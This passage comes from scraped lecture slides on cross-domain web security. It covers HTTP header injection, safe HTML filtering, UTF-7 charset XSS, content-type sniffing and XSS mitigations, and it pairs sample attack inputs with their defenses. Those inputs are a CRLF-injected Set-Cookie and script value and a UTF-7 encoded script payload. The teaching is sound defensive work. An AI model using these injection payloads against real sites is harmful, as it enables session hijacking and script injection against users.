sneaking in HTML-encoded characters Different style quotes
Single for JavaScript literals Double for HTML attributes Avoid one type accidentally “ending” the other
JavaScript escape function should escape HTML metachars (&, <, >, ", ') as well Escaped into hex or unicode Additional security measure if second step forgotten
![Page 65: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/65.jpg)
10.5.9. Redirects, Cookies, and Header Injection Need to filter and validate user input inserted
into HTTP response headers Ex: servlet returns HTTP redirect
Attacker Injects:(URI-encodesnewlines)
HTTP/1.1 302 MovedContent-Type: text/html; charset=ISO-8859-1Location: %(redir_url)s
<html> <head><title>Moved</title></head> <body>Moved <a href='%(redir_url)s'>here</a></body> </html>
oops:foo\r\nSet-Cookie: SESSION=13af..3b;domain=mywwwservice.com\r\n\r\n<script>evil()</script>
![Page 66: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/66.jpg)
10.5.9. Header Injection Example Resulting HTTP response:
Attacker sets desired cookies: could overwrite user preferences (DoS) or action tokens (XSRF)
Double CRLF injects script into body which could be executed after Location: header is invalidated
HTTP/1.1 302 MovedContent-Type: text/html; charset=ISO-8859-1Location: oops:fooSet-Cookie: SESSION=13af..3b; domain=mywwwservice.com
<script>evil()</script><html><head><title>Moved</title></head><body>Moved <a href='oops:fooSet-Cookie: SESSION=13af..3b; domain=mywwwservice.com
<script>evil()</script>'>here</a></body></html>
![Page 67: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/67.jpg)
10.5.9. Preventing Header Injection Ensure URLs for Location: headers are well-
formed http: or https: Only consists of characters permitted to be non-
escaped according to standard (e.g. RFC 2396) Checks that it’s not javascript: URL for example
Check that cookie names and values within standard (e.g. RFC 2965)
Setting other headers: ensure values contain only characters allowed by HTTP/1.1 protocol spec (RFC 2616) Restricting to specs ensures browser parses correctly
![Page 68: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/68.jpg)
10.5.10. Filters for “Safe” Subsets of HTML Allow “safe” subset of HTML and render to user
Ex: web-based e-mail app Can allow “harmless” HTML tags (e.g. <h1>) But don’t allow execution of malicious scripts
Use strict HTML parser Strip tags and attributes that are not whitelisted (i.e.
known to not allow arbitrary scripting) Consult a security expert
![Page 69: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/69.jpg)
10.5.11. Unspecified Charsets, Browser-Side Charset Guessing, and UTF-7 XSS Attacks
Browser needs to know what character encoding to use to render HTML document Server can specify through charset parameter of Content-Type HTTP header or <meta http-equiv>
Default: iso-8859-1 Or may try to guess the charset
Example: attacker injects UTF-7 text
No characters that are normally filtered No charset specified, so IE guesses UTF-7 +ADw- , +AD4- encode < , >: script executed!
+ADw-script+AD4-alert(document.domain);+ADw-/script+AD4-
![Page 70: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/70.jpg)
10.5.11. Preventing Charset XSS Attacks Explicitly specify appropriate charset
Ex: Content-Type: text/html; charset=UTF-8 Or through tag:
Meta-tag should appear before untrusted tags Appropriate: the one that reflects encoding
assumptions used by app for filtering/sanitizing input and HTML encoding output strings
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
![Page 71: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/71.jpg)
10.5.12. Non-HTML Documents & IE Content-Type Sniffing Browsers may ignore MIME type of document
Specifying Content-Type: text/plain should not interpret HTML tags when rendering
But not true for IE: mime-type detection
AKA Content-Type Sniffing: ignores MIME spec IE scans doc for HTML tags and interprets them Even reinterprets image documents as HTML!
![Page 72: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/72.jpg)
10.5.12. Preventing Content-Type Sniffing XSS Attacks Validate that content format matches MIME type
Especially for image files: process through library Read image file, convert to bitmap, convert back Don’t trust image file format,
Ensure no HTML tags in first 256 bytes of non-HTML file Could prepend 256 bytes of whitespace Empirically determined # (also in docs), could be
different for other versions Or could HTML-escape entire document
![Page 73: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/73.jpg)
10.5.13. Mitigating the Impact of XSS Attacks
HTTP-Only Cookies: incomplete protection HTTPOnly attribute on cookie in IE prevents it
from being exposed to client-side scripts can prevent traditional session hijacking But only for IE and doesn’t prevent direct attacks Should also disable TRACE requests
Binding Session Cookies to IP Address check if session token is being used from multiple
IP addresses (especially geographically distant) could cause user inconvenience, use only for
high-value transactions
![Page 74: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/74.jpg)
Types of XSS Attacks RecapContext Examples
(where to inject evil-script)
Prevention Technique
Simple Text <b>'%(query)'</b> HTML Escaping
Tag Attributes (Attribute-Injection)
<input … value ="%(query)"/>
HTML Escaping(attrib values in " ")
URL Attributes(href, src attribs.)
<script src ="%(script_url)">
Whitelist(src from own server?)
Style Attributes(or <style> tags)
<div style="back ground: %(color);">
Whitelist(Use RegExps)
JavaScript (JS) <input... onclick=''>
Escape JS/HTML
HTTP Header HTTP/1.1 302 Moved...
Location: %(redirUrl)
Filter Bad URLs(check format)
![Page 75: 10 cross-domain security in web applications](https://reader034.vdocuments.site/reader034/viewer/2022050720/554c0c27b4c9058e098b57a9/html5/thumbnails/75.jpg)
Summary
Cross-Domain Attacks Not direct attacks launched against our app User views ours and a malicious site in same browser Attacker tries to run evil scripts, steal our cookies, … Types: XSRF, XSSI, XSS
Prevention: Against XSRF & XSSI: use cookie-based
authentication, prefer POST over GET, action tokens Against XSS: validate input & sanitize output, use
HTML/Javascript escaping appropriately, whitelist